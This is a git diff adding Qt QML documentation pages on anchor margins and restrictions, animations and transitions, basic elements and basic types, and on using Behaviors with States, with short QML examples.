+to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter
+and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item.
+
+\section1 Anchor Margins and Offsets
+
+The anchoring system also allows \e margins and \e offsets to be specified for an item's anchors.
+Margins specify the amount of empty space to leave to the outside of an item's anchor, while
+offsets allow positioning to be manipulated using the center anchor lines. An item can
+specify its anchor margins individually through \l {Item::anchors.leftMargin}{leftMargin},
+\l {Item::anchors.rightMargin}{rightMargin}, \l {Item::anchors.topMargin}{topMargin} and
+\l {Item::anchors.bottomMargin}{bottomMargin}, or use \l {Item::}{anchors.margins} to
+specify the same margin value for all four edges. Anchor offsets are specified using
+\l {Item::anchors.horizontalCenterOffset}{horizontalCenterOffset},
+\l {Item::anchors.verticalCenterOffset}{verticalCenterOffset} and
+\l {Item::anchors.baselineOffset}{baselineOffset}.
+
+\image margins_qml.png
+
+The following example specifies a left margin:
+
+\code
+Rectangle { id: rect1; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... }
+\endcode
+
+In this case, a margin of 5 pixels is reserved to the left of \e rect2, producing the following:
+
+\image edge2.png
+
+\note Anchor margins only apply to anchors; they are \e not a generic means of applying margins to an \l Item.
+If an anchor margin is specified for an edge but the item is not anchored to any item on that
+edge, the margin is not applied.
+
+
+\section1 Restrictions
+
+For performance reasons, you can only anchor an item to its siblings and direct parent. For example,
+the following anchor is invalid and would produce a warning:
+
+\badcode
+Item {
+ id: group1
+ Rectangle { id: rect1; ... }
+}
+Item {
+ id: group2
+ Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor!
+}
+\endcode
+
+Also, anchor-based layouts cannot be mixed with absolute positioning. If an item specifies its
+\l {Item::}{x} position and also sets \l {Item::}{anchors.left},
+or anchors its left and right edges but additionally sets a \l {Item::}{width}, the
+result is undefined, as it would not be clear whether the item should use anchoring or absolute
+positioning. The same can be said for setting an item's \l {Item::}{y} and \l {Item::}{height}
+with \l {Item::}{anchors.top} and \l {Item::}{anchors.bottom}, or setting \l {Item::}{anchors.fill}
+as well as \l {Item::}{width} or \l {Item::}{height}. If you wish to change from using
+anchor-based to absolute positioning, you can clear an anchor value by setting it to \c undefined.
+
+*/
diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc
new file mode 100644
index 00000000..40dc125c
--- /dev/null
+++ b/doc/src/declarative/animation.qdoc
@@ -0,0 +1,240 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeanimation.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML States}{States}
+\nextpage {QML Data Models}{Structuring Data with Models}
+\title QML Animation and Transitions
+
+\keyword qml-animation-elements
+\section1 Animation and Transitions Elements
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+\keyword qml-property-animation-elements
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+In QML, animations are created by applying animation elements to property
+values. Animation elements will interpolate property values to create smooth
+transitions. As well, state transitions may assign animations to state changes.
+
+To create an animation, use an appropriate animation element for the type of
+the property that is to be animated, and apply the animation depending on the
+type of behavior that is required.
+
+\keyword qml-triggering-animations
+\section1 Triggering Animations
+
+There are several ways of setting animation to an object.
+
+\keyword qml-direct-animation
+\section2 Direct Property Animation
+
+To create an immediate movement or animated movement, set the property value
+directly. This may be done in signal handlers or attached properties.
+
+\snippet doc/src/snippets/declarative/animation.qml direct property change
+
+However, to create more control, \e {property animations} apply smooth movements
+by interpolating values between property value changes. Property animations
+provide timing controls and allows different interpolations through
+\l{qml-easing-animation}{easing curves}.
+
+\snippet doc/src/snippets/declarative/animation.qml property animation
+
+Specialized \l{qml-property-animation-elements}{property animation elements}
+have more efficient implementations than the \l{PropertyAnimation} element. They
+are for setting animations to different QML types such as \c int, \c color, and
+rotations. Similarly, the \l{ParentAnimation} can animate parent changes.
+
+See the \l {qml-controlling-animations}{Controlling Animations} section for more
+information about the different animation properties.
+
+\keyword qml-transition-animations
+\section2 Transitions during State Changes
+
+\l{QML States}{States} are property configurations where a property may have different values to reflect different states. State changes introduce
+abrupt property changes; animations smooth transitions to produce visually
+appealing state changes.
+
+The \l{Transition} element can contain
+\l{qml-animation-elements}{animation elements} to interpolate property changes
+caused by state changes. To assign the transition to an object, bind it to the
+\c transitions property.
+
+A button might have two states, the \c pressed state when the user clicks on the
+button and a \c released state when the user releases the button. We can assign
+different property configurations for each state. A transition would animate the
+change from the \c pressed state to the \c released state. Likewise, there would
+be an animation during the change from the \c released state to the \c pressed
+state.
+
+\snippet doc/src/snippets/declarative/animation.qml transition animation
+
+Binding the \c to and \c from properties to the state's name will assign that
+particular transition to the state change. For simple or symmetric transitions,
+setting the to \c to property to the wild card symbol, "\c{*}", denotes
+that the transition applies to any state change.
+
+\snippet doc/src/snippets/declarative/animation.qml wildcard animation
+
+\section2 Default Animation as Behaviors
+
+Default property animations are set using \e {behavior animations}. Animations
+declared in \l {Behavior} elements apply to the property and animates any
+property value changes. However, Behavior elements have an
+\c enabled property to purposely enable or disable the behavior animations.
+
+A ball component might have a behavior animation assigned to its \c x, \c y, and
+\c color properties. The behavior animation could be set up to simulate an
+elastic effect. In effect, this behavior animation would apply the elastic
+effect to the properties whenever the ball moves.
+
+\snippet doc/src/snippets/declarative/animation.qml behavior animation
+
+There are several methods of assigning behavior animations to properties. The
+\c{Behavior on <property>} declaration is a convenient way of assigning a
+behavior animation onto a property.
+
+See the \l {declarative/animation/behaviors/behavior-example}{Behaviors example} for a
+demonstration of behavioral animations.
+
+\section1 Playing Animations in Parallel or in Sequence
+
+Animations can run \e {in parallel} or \e {in sequence}. Parallel animations
+will play a group of animations at the same time while sequential animations
+play a group of animations in order: one after the other. Grouping animations in
+\l{SequentialAnimation} and \l{ParallelAnimation} will play the animations in
+sequence or in parallel.
+
+A banner component may have several icons or slogans to display, one after the
+other. The \c opacity property could transform to \c 1.0 denoting an opaque
+object. Using the \l{SequentialAnimation} element, the opacity animations will
+play after the preceding animation finishes. The \l{ParallelAnimation} element
+will play the animations at the same time.
+
+\snippet doc/src/snippets/declarative/animation.qml sequential animation
+
+Once individual animations are placed into a SequentialAnimation or
+ParallelAnimation, they can no longer be started and stopped independently. The
+sequential or parallel animation must be started and stopped as a group.
+
+The \l SequentialAnimation element is also useful for playing
+\l{qml-transition-animations}{transition animations} because animations are
+played in parallel inside transitions.
+
+See the \l {declarative/animation/basics}{Animation basics example} for a
+demonstration of creating and combining multiple animations in QML.
+
+\keyword qml-controlling-animations
+\section1 Controlling Animations
+
+There are different methods to control animations.
+
+\section2 Animation Playback
+All \l{qml-animation-elements}{animation elements} inherit from the \l Animation element. It is not
+possible to create \l Animation objects; instead, this element provides the
+essential properties and methods for animation elements. Animation elements have
+\c{start()}, \c{stop()}, \c{resume()}, \c{pause()}, \c {restart()}, and
+\c{complete()} -- all of these methods control the execution of animations.
+
+\keyword qml-easing-animation
+\section2 Easing
+
+Easing curves define how the animation will interpolate between the start value
+and the end value. Different easing curves might go beyond the defined range of
+interpolation. The easing curves simplify the creation of animation effects such
+as bounce effects, acceleration, deceleration, and cyclical animations.
+
+A QML object may have different easing curve for each property animation. There
+are also different parameters to control the curve, some of which are exclusive
+to a particular curve. For more information about the easing curves, visit the
+\l {PropertyAnimation::easing.type}{easing} documentation.
+
+The \l{declarative/animation/easing}{easing example} visually demonstrates each
+of the different easing types.
+
+\section2 Other Animation Elements
+
+In addition, QML provides several other elements useful for animation:
+
+\list
+\o PauseAnimation: enables pauses during animations
+\o ScriptAction: allows JavaScript to be executed during an animation, and can
+be used together with StateChangeScript to reused existing scripts
+\o PropertyAction: changes a property \e immediately during an animation,
+without animating the property change
+\endlist
+
+These are specialized animation elements that animate different property types
+\list
+\o SmoothedAnimation: a specialized NumberAnimation that provides smooth
+changes in animation when the target value changes
+\o SpringAnimation: provides a spring-like animation with specialized
+attributes such as \l {SpringAnimation::}{mass},
+\l{SpringAnimation::}{damping} and \l{SpringAnimation::}{epsilon}
+\o ParentAnimation: used for animating a parent change (see ParentChange)
+\o AnchorAnimation: used for animating an anchor change (see AnchorChanges)
+\endlist
+
+*/
+
+
+
+\snippet doc/src/snippets/declarative/animation-elements.qml color
+\snippet doc/src/snippets/declarative/animation-propertyvaluesource.qml 0
+\snippet doc/src/snippets/declarative/animation-signalhandler.qml 0
+\snippet doc/src/snippets/declarative/animation-standalone.qml 0
+
+\snippet doc/src/snippets/declarative/animation-transitions.qml 0
+\snippet doc/src/snippets/declarative/animation-groups.qml 0
+
+\snippet doc/src/snippets/declarative/animation-groups.qml 1
+\snippet doc/src/snippets/declarative/animation-groups.qml 0
+\image propanim.gif
+
diff --git a/doc/src/declarative/basicelements.qdoc b/doc/src/declarative/basicelements.qdoc
new file mode 100644
index 00000000..0a8a2bb5
--- /dev/null
+++ b/doc/src/declarative/basicelements.qdoc
@@ -0,0 +1,114 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlbasicelements.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage QML Features
+\nextpage {QML Basic Types}{Data Types}
+
+\title QML Basic Elements
+
+QML's basic elements allow the easy inclusion of objects into the
+scene.
+
+\section1 Basic Elements
+This is a list of some of the elements readily available for users.
+\list
+\o \l {Item}
+\o \l {Rectangle}
+\o \l {Image}
+\o \l {Text}
+\o \l {TextInput}
+\o \l {TextEdit}
+\o \l {FocusScope}
+\o \l {Component}
+\o \l {MouseArea}
+\endlist
+
+For a complete list of QML elements, please visit the \l {QML Elements} page.
+
+\section1 Properties and Qt Declarative Module
+
+When using QML elements, keep in mind that elements may possess properties that
+other elements also possess. This is because QML and its underlying engine is
+implemented in C++ using Qt. More importantly, the chain of property inheritance
+is directly due to QML's use of the \l {Qt Declarative Module} and Qt's
+\l {Meta-Object System}{meta-object} and \l {The Property System}{property} systems. For example, visual elements that have C++ implementation are sublcasses of
+\l {QDeclarativeItem}. As a result, elements such as \l {Rectangle} and
+\l {Text} elements inherit properties such as \c clip and \c smooth.
+
+\section1 Item Element
+
+Many QML elements inherit \l Item properties. \c Item possesses important properties
+such as \c focus, \c children, and dimension properties such as \c width and
+\c height. Although \c Item has physical properties, it is not a visual element.
+Using \c Item as the top-level QML element (as the screen) will not produce a
+visual result, use the \l {Rectangle} element instead. Use the \c Item to create
+opacity effects, such as when creating an invisible container to hold other
+components.
+
+\section1 Rectangle Element
+
+The \l Rectangle element is the basic visual element, for displaying different
+types of items onto the screen. The \c Rectangle is customizable and utilizes
+other elements such as \l Gradient and \l BorderImage for displaying advanced
+customized graphics.
+
+\section1 Image Element
+
+To insert an image into a QML scene, merely declare an \l Image element. The
+\c Image element can load images in formats supported by Qt.
+
+\section1 Text Elements
+
+The \l Text and \l TextEdit elements display formatted text onto the screen.
+\c TextEdit features multi-line editing while the \l TextInput element is for
+single line text input.
+
+\keyword qml-top-level-component
+\section1 Using Elements as the Top-Level Component
+
+For creating components (or displaying a simple scene), there are different
+elements that could be used as the top-level component. To display a simple scene,
+a \l Rectangle as the top-level component may suffice. \l Rectangle,
+\l FocusScope, \l Component, \l {QML:QtObject} {QtObject}, \l Item, are some of
+the commonly used elements as the top-level component.
+
+When importing components, the top-level component is important because the
+top-level component's properties are the only properties exposed to the parent.
+
+For example, a \c Button component may be implemented using different elements as
+its top-level component. When this component is loaded into another QML scene,
+the component will retain the top-level component's properties. If a non-visual
+component is the top-level component, the visual properties should be aliased to
+the top-level to display the component properly.
+
+For more information on how to build upon QML elements, see the
+\l{Importing Reusable Components} document.
+*/
diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
new file mode 100644
index 00000000..b678d9af
--- /dev/null
+++ b/doc/src/declarative/basictypes.qdoc
@@ -0,0 +1,583 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qdeclarativebasictypes.html
+ \ingroup qml-features
+ \contentspage QML Features
+ \previouspage {QML Basic Elements}
+ \nextpage Property Binding
+ \title QML Basic Types
+
+ QML has a set of primitive types, as listed below, that are used throughout
+ the \l {QML Elements}.
+
+ \annotatedlist qmlbasictypes
+
+ To create additional types, such as data types created in C++, read the
+ \l{Extending QML Functionalities using C++} article.
+*/
+
+/*!
+ \qmlbasictype int
+ \ingroup qmlbasictypes
+
+ \brief An integer is a whole number, e.g. 0, 10, or -20.
+
+ An integer is a whole number, e.g. 0, 10, or -20. The possible \c
+ int values range from around -2000000000 to around 2000000000,
+ although most elements will only accept a reduced range (which they
+ mention in their documentation).
+
+ Example:
+ \qml
+ Item { width: 100; height: 200 }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype bool
+ \ingroup qmlbasictypes
+
+ \brief A boolean is a binary true/false value.
+
+ A boolean is a binary true/false value.
+
+ Example:
+ \qml
+ Item { focus: true; clip: false }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype real
+ \ingroup qmlbasictypes
+
+ \brief A real number has a decimal point, e.g. 1.2 or -29.8.
+
+ A real number has a decimal point, e.g. 1.2 or -29.8.
+
+ Example:
+ \qml
+ Item { width: 100.45; height: 150.82 }
+ \endqml
+
+ \note In QML all reals are stored in single precision, \l
+ {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point}
+ format.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype double
+ \ingroup qmlbasictypes
+
+ \brief A double number has a decimal point and is stored in double precision.
+
+ A double number has a decimal point and is stored in double precision, \l
+ {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point}
+ format.
+
+ Example:
+ \qml
+ Item {
+ property double number: 32155.2355
+ }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype string
+ \ingroup qmlbasictypes
+
+ \brief A string is a free form text in quotes, e.g. "Hello world!".
+
+ A string is a free form text in quotes, e.g. "Hello world!".
+
+ Example:
+ \qml
+ Text { text: "Hello world!" }
+ \endqml
+
+ Strings have a \c length attribute that holds the number of
+ characters in the string.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype url
+ \ingroup qmlbasictypes
+
+ \brief A URL is a resource locator, like a file name.
+
+ A URL is a resource locator, like a file name. It can be either
+ absolute, e.g. "http://qt.nokia.com", or relative, e.g.
+ "pics/logo.png". A relative URL is resolved relative to the URL of
+ the component where the URL is converted from a JavaScript string
+ expression to a url property value.
+
+ Example:
+ \qml
+ Image { source: "pics/logo.png" }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype color
+ \ingroup qmlbasictypes
+
+ \brief A color is a standard color name in quotes.
+
+ A color is a standard color name in quotes. It is normally specified
+ as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG
+ color name}. These names include colors like "red", "green" and
+ "lightsteelblue".
+
+ If the color you want isn't part of this list, colors can also be
+ specified in hexidecimal triplets or quads that take the form \c
+ "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color
+ red corresponds to a triplet of \c "#FF0000" and a slightly
+ transparent blue to a quad of \c "#800000FF".
+
+ Example:
+ \div{float-right}
+ \inlineimage declarative-colors.png
+ \enddiv
+ \snippet doc/src/snippets/declarative/colors.qml colors
+
+ Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
+ \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
+
+ \qml
+ Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype point
+ \ingroup qmlbasictypes
+
+ \brief A point type has x and y attributes.
+
+ A \c point type has \c x and \c y attributes.
+
+ To create a \c point value, specify it as a "x,y" string:
+
+ \qml
+ CustomObject { myPointProperty: "0,20" }
+ \endqml
+
+ Or use the \l{QML:Qt::point()}{Qt.point()} function:
+
+ \qml
+ CustomObject { myPointProperty: Qt.point(0, 20) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype size
+ \ingroup qmlbasictypes
+
+ \brief A size type has width and height attributes
+
+ A \c size type has \c width and \c height attributes.
+
+ For example, to read the \l {Image::sourceSize} \c size property:
+
+ \qml
+ Column {
+ Image { id: image; source: "logo.png" }
+ Text { text: image.sourceSize.width + "," + image.sourceSize.height }
+ }
+ \endqml
+
+ To create a \c size value, specify it as a "width x height" string:
+
+ \qml
+ LayoutItem { preferredSize: "150x50" }
+ \endqml
+
+ Or use the \l{QML:Qt::size()}{Qt.size()} function:
+
+ \qml
+ LayoutItem { preferredSize: Qt.size(150, 50) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype rect
+ \ingroup qmlbasictypes
+
+ \brief A rect type has x, y, width and height attributes.
+
+ A \c rect type has \c x, \c y, \c width and \c height attributes.
+
+ For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property:
+ \qml
+ Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ Rectangle { width: 100; height: 100 }
+ }
+ \endqml
+
+ To create a \c rect value, specify it as a "x, y, width x height" string:
+
+ \qml
+ CustomObject { myRectProperty: "50,50,100x100" }
+ \endqml
+
+ Or use the \l{QML:Qt::rect()}{Qt.rect()} function:
+
+ \qml
+ CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype date
+ \ingroup qmlbasictypes
+
+ \brief A date is specified as "YYYY-MM-DD".
+
+ To create a \c date value, specify it as a "YYYY-MM-DD" string:
+
+ Example:
+ \qml
+ MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" }
+ \endqml
+
+ To read a date value returned from a C++ extension class, use
+ \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype time
+ \ingroup qmlbasictypes
+
+ \brief A time is specified as "hh:mm:ss".
+
+ A time is specified as "hh:mm:ss".
+
+ Example:
+ \qml
+ MyTimePicker { time: "14:22:15" }
+ \endqml
+
+ To read a time value returned from a C++ extension class, use
+ \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+ \sa {QML Basic Types}
+ */
+
+/*!
+ \qmlbasictype font
+ \ingroup qmlbasictypes
+
+ \brief A font type has the properties of a QFont.
+
+ A font type has the properties of a QFont. The properties are:
+
+ \list
+ \o \c string font.family
+ \o \c bool font.bold
+ \o \c bool font.italic
+ \o \c bool font.underline
+ \o \c real font.pointSize
+ \o \c int font.pixelSize
+ \endlist
+
+ Example:
+ \qml
+ Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype action
+ \ingroup qmlbasictypes
+
+ \brief The action type has all the properties of QAction.
+
+ The action type has all the properties of QAction. The properties
+ are:
+
+ \list
+ \o \c slot action.trigger - invoke the action
+ \o \c bool action.enabled - true if the action is enabled
+ \o \c string action.text - the text associated with the action
+ \endlist
+
+ Actions are used like this:
+
+ \qml
+ Item {
+ MouseArea { onClicked: myaction.trigger() }
+ State { name: "enabled"; when: myaction.enabled == true }
+ Text { text: someaction.text }
+ }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype list
+ \ingroup qmlbasictypes
+
+ \brief A list of objects.
+
+ A list type contains a list of objects. While not technically
+ a basic type, QML supports lists of object types. When used
+ from QML, the engine automatically appends each value to the list.
+ Items in the list can be accessed by index using the usual
+ \c listName[index] syntax.
+
+ For example, the \l Item class contains a list property named
+ children that can be used like this:
+
+ \qml
+ Item {
+ children: [
+ Item { id: child1 },
+ Rectangle { id: child2; width: 200 },
+ Text { id: child3 }
+ ]
+
+ Component.onCompleted: {
+ console.log("Width of child rectangle:", children[1].width)
+ }
+ }
+ \endqml
+ \c child1, \c child2 and \c child3 will be added to the children list
+ in the order in which they appear.
+
+ List \l {Property Binding}{properties} can be created as a
+ \c variant type, or as a \c list<Type> type, where \c Type is the
+ type of the object in the list:
+
+ \qml
+ Item {
+ property list<Rectangle> rects: [
+ Rectangle { width: 100; height: 100},
+ Rectangle { width: 200; height: 200}
+ ]
+ }
+ \endqml
+
+ A list property can only contain values that match (or are derived from) the
+ specified \c Type.
+
+ While the \c rects property can be reassigned to a different list value (including
+ an empty list), its individual values cannot be modified. See the \l variant type
+ documentation for details.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype variant
+ \ingroup qmlbasictypes
+
+ \brief A variant type is a generic property type.
+
+ A variant is a generic property type. A variant type property can hold
+ any of the \l {QML Basic Types}{basic type} values:
+
+ \qml
+ Item {
+ property variant aNumber: 100
+ property variant aString: "Hello world!"
+ property variant aBool: false
+ }
+ \endqml
+
+ The \c variant type can also hold:
+
+ \list
+ \o An array of \l {QML Basic Types}{basic type} values
+ \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values
+ \endlist
+
+ For example, below is an \c items array and an \c attributes map. Their
+ contents can be examined using JavaScript \c for loops. Individual array
+ values are accessible by index, and individual map values are accessible
+ by key:
+
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ for (var i=0; i<items.length; i++)
+ console.log(items[i])
+
+ for (var prop in attributes)
+ console.log(prop, "=", attributes[prop])
+ }
+ }
+ \endqml
+
+ While this is a convenient way to store array and map-type values, you
+ must be aware that the \c items and \c attributes properties above are \e not
+ QML objects (and certainly not JavaScript object either) and the key-value
+ pairs in \c attributes are \e not QML properties. Rather, the \c items
+ property holds an array of values, and \c attributes holds a set of key-value
+ pairs. Since they are stored as a set of values, instead of as an object,
+ their contents \e cannot be modified individually:
+
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ items[0] = 10
+ console.log(items[0]) // This will still be '1'!
+ attributes.color = 'blue'
+ console.log(attributes.color) // This will still be 'red'!
+ }
+ }
+ \endqml
+
+ Additionally, since \c items and \c attributes are not QML objects, changing
+ their individual values do not trigger property change notifications. If
+ the above example had \c onNumberChanged or \c onAnimalChanged signal
+ handlers, they would not have been called. If, however, the \c items or
+ \c attributes properties themselves were reassigned to different values, then
+ such handlers would be called.
+
+ One way to "update" the contents of an array or map is to copy the property
+ to a JavaScript object, modify the copy as desired, and then reassign the
+ property to the updated copy. Note, however, that this is not efficient.
+ In the example below, which reassigns the \c attributes property, the \e entire
+ set of key-value pairs must be serialized and deserialized every time it is
+ copied between a JavaScript object and a QML property:
+
+ \qml
+ Item {
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ // Change the value of attributes.color to 'blue':
+ var temp = attributes // copy all values to 'temp'
+ temp.color = 'blue'
+ attributes = temp // copy all values back to 'attributes'
+ }
+ }
+ \endqml
+
+ Since this operation is inefficient, if a list or map should be modifiable,
+ it is better to use alternative approaches. For example, you could implement
+ a custom C++ list element, or write to a JavaScript object defined from
+ within a JavaScript file.
+
+ JavaScript programmers should also note that when a JavaScript object is
+ copied to an array or map property, the \e contents of the object (that is,
+ its key-value properties) are copied, rather than the object itself. The
+ property does not hold a reference to the original JavaScript object, and
+ extra data such as the object's JavaScript prototype chain is also lost in
+ the process.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype vector3d
+ \ingroup qmlbasictypes
+
+ \brief A vector3d type has x, y, and z attributes.
+
+ A \c vector3d type has \c x, \c y, and \c z attributes.
+
+ To create a \c vector3d value, specify it as a "x,y,z" string:
+
+ \qml
+ Rotation { angle: 60; axis: "0,1,0" }
+ \endqml
+
+ or with the \l{QML:Qt::vector3d()}{Qt.vector3d()} function:
+
+ \qml
+ Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) }
+ \endqml
+
+ or as separate \c x, \c y, and \c z components:
+
+ \qml
+ Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype enumeration
+ \ingroup qmlbasictypes
+
+ \brief An enumeration type consists of a set of named values.
+
+ An enumeration type consists of a set of named values.
+
+ An enumeration value may be specified as either a string:
+ \qml
+ Text { horizontalAlignment: "AlignRight" }
+ \endqml
+
+ or as \c {<Element>.<value>}:
+ \qml
+ Text { horizontalAlignment: Text.AlignRight }
+ \endqml
+
+ The second form is preferred.
+
+ \sa {QML Basic Types}
+*/
diff --git a/doc/src/declarative/behaviors-and-states.qdoc b/doc/src/declarative/behaviors-and-states.qdoc
new file mode 100644
index 00000000..beb6b7ac
--- /dev/null
+++ b/doc/src/declarative/behaviors-and-states.qdoc
@@ -0,0 +1,206 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-behaviors-and-states.html
+\title Using QML Behaviors with States
+
+\section1 Using Behaviors with States
+
+In some cases you may choose to use a Behavior to animate a property change caused by a state change. While this works well for some situations, in other situations it may lead to unexpected behavior.
+
+Here's an example that shows the problem:
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ id: coloredRect
+ width: 100
+ height: 100
+ anchors.centerIn: parent
+
+ color: "red"
+ Behavior on color {
+ ColorAnimation {}
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+
+ states: State {
+ name: "GreenState"
+ when: mouser.containsMouse
+
+ PropertyChanges {
+ target: coloredRect
+ color: "green"
+ }
+ }
+ }
+}
+\endqml
+
+Testing the example by quickly and repeatedly moving the mouse in to and out of the colored rectangle shows that the colored rectangle will settle into a green color over time, never returning to full red. This is not what we wanted! The
+problem occurs because we have used a Behavior to animate the change in color, and our state change is trigged by the mouse entering or exiting the MouseArea, which is easily interrupted.
+
+To state the problem more formally, using States and Behaviors together can cause unexpected behavior when:
+\list
+\o a Behavior is used to animate a property change, specifically when moving from an explicitly defined state back to the implicit base state; and
+\o this Behavior can be interrupted to (re-)enter an explicitly defined state.
+\endlist
+
+The problem occurs because of the way the base state is defined for QML: as the "snapshot" state of the application just prior to entering an explicitly defined state. In this case, if we are in the process of animating from green back
